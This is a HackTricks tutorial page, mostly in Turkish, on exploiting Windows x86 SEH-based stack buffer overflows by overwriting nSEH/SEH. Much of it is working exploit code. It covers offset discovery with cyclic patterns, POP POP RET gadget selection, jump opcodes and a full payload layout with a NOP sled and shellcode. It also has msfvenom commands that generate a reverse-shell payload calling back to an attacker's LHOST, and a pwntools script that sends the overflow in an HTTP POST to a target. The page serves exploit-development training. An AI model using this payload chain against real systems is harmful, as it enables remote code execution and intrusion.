Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)

Reading time: 6 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

SEH-based exploitation, stack üzerinde saklanan Structured Exception Handler zincirini suistimal eden klasik bir x86 Windows tekniğidir. Bir stack buffer overflow iki 4 baytlık alanı ezdiğinde

  • nSEH: sonraki SEH kaydına işaretçi, ve
  • SEH: exception handler fonksiyonuna işaretçi

saldırgan yürütmeyi şu şekilde ele geçirebilir:

  1. SEH'yi, korumasız bir modülde bulunan bir POP POP RET gadget'ının adresine ayarlayarak — böylece bir exception tetiklendiğinde gadget saldırgan-kontrollü baytlara geri döner, ve
  2. nSEH'yi kullanarak yürütmeyi (tipik olarak kısa bir jump) shellcode'un bulunduğu ve taşma yapan büyük buffera geri yönlendirerek.

Bu teknik 32-bit proseslere (x86) özgüdür. Modern sistemlerde gadget için SafeSEH ve ASLR olmayan bir modül tercih edin. Kötü karakterler genellikle C-strings ve HTTP parsing nedeniyle 0x00, 0x0a, 0x0d (NUL/CR/LF) içerir.


Tam offsetleri bulma (nSEH / SEH)

  • Süreci çökertin ve SEH zincirinin ezildiğini doğrulayın (örn., x32dbg/x64dbg içinde SEH görünümünü kontrol edin).
  • Taşma verisi olarak cyclic pattern gönderin ve nSEH ile SEH'ye düşen iki dword'un offsetlerini hesaplayın.

Example with peda/GEF/pwntools on a 1000-byte POST body:

bash
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"

# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163   # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241   # SEH
# ➜ offsets example: nSEH=660, SEH=664

O pozisyonlara işaretleyiciler yerleştirerek doğrulayın (ör. nSEH=b"BB", SEH=b"CC"). Çöküşün tekrarlanabilir olması için toplam uzunluğu sabit tutun.


POP POP RET (SEH gadget) Seçimi

SEH çerçevesini açmak ve nSEH byte'larınıza geri dönmek için bir POP POP RET dizisine ihtiyacınız var. Bunu SafeSEH olmayan ve ideal olarak ASLR olmayan bir modülde bulun:

  • Mona (Immunity/WinDbg): !mona modules ardından !mona seh -m modulename.
  • x64dbg plugin ERC.Xdbg: ERC --SEH ile POP POP RET gadget'larını ve SafeSEH durumunu listeleyin.

Little-endian yazıldığında badchars içermeyen bir adres seçin (ör. p32(0x004094D8)). Koruma mekanizmaları izin veriyorsa gadget'ları vulnerable binary içinde tercih edin.


Geri atlama tekniği (short + near jmp)

nSEH yalnızca 4 byte'tır ve en fazla 2-byte'lık bir short jump (EB xx) artı padding'e sığar. Eğer buffer başlangıcına erişmek için yüzlerce byte geri atlamak zorundaysanız, nSEH'den hemen önce yerleştirilmiş 5-byte'lık bir near jump kullanın ve nSEH'den yapılan short jump ile ona zincirleyin.

nasmshell ile:

text
nasm> jmp -660           ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8       ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652           ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF

660 offsetinde nSEH bulunan 1000-byte payload için düzen fikri:

python
buffer_length = 1000
payload  = b"\x90"*50 + shellcode                    # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload))           # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE"     # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB"                      # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8)                           # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))

Execution flow:

  • İstisna oluşur; dispatcher üzerine yazılmış SEH'i kullanır.
  • POP POP RET, nSEH'imize doğru açılma (unwind) gerçekleştirir.
  • nSEH, 5-byte near jump içine jmp short -8 çalıştırır.
  • Near jump, buffer'ımızın başlangıcına iner; burada NOP sled + shellcode bulunur.

Kötü karakterler

Tam bir badchar string oluşturun ve çöküş sonrası stack memory'yi karşılaştırarak, hedef parser tarafından bozulmuş byte'ları çıkarın. HTTP-based overflows için, \x00\x0a\x0d neredeyse her zaman hariç tutulur.

python
badchars = bytes([x for x in range(1,256)])
payload  = b"A"*660 + b"BBBB" + b"CCCC" + badchars  # position appropriately for your case

Shellcode generation (x86)

msfvenom'i badchars ile kullanın. Küçük bir NOP sled iniş varyansını tolere etmeye yardımcı olur.

bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc

Eğer dinamik olarak üretiyorsanız, hex formatı Python'da embed etmek ve unhex yapmak için kullanışlıdır:

bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex

HTTP üzerinden gönderme (kesin CRLF + Content-Length)

Zafiyet vektörü bir HTTP isteği gövdesiyse, sunucunun taşan gövdeyi tamamen okumasını sağlamak için tam CRLFs ve Content-Length ile ham bir istek oluşturun.

python
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000  # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close

""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()

Araçlar

  • x32dbg/x64dbg ile SEH chain'i gözlemlemek ve crash'i triage etmek.
  • ERC.Xdbg (x64dbg eklentisi) ile SEH gadget'larını listelemek için: ERC --SEH.
  • Mona alternatif olarak: !mona modules, !mona seh.
  • nasmshell kısa/near jump'ları assemble etmek ve ham opcode'ları kopyalamak için.
  • pwntools hassas ağ payload'ları oluşturmak için.

Notlar ve uyarılar

  • Yalnızca x86 süreçlerine uygulanır. x64 farklı bir SEH şeması kullanır ve SEH-based exploitation genellikle uygulanabilir değildir.
  • SafeSEH ve ASLR olmayan modüllerdeki gadget'ları tercih edin; aksi halde, süreç içine yüklenmiş korumasız bir modül bulun.
  • Çökme sonrasında otomatik yeniden başlatma yapan service watchdog'ları iteratif exploit geliştirmeyi kolaylaştırabilir.

References

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin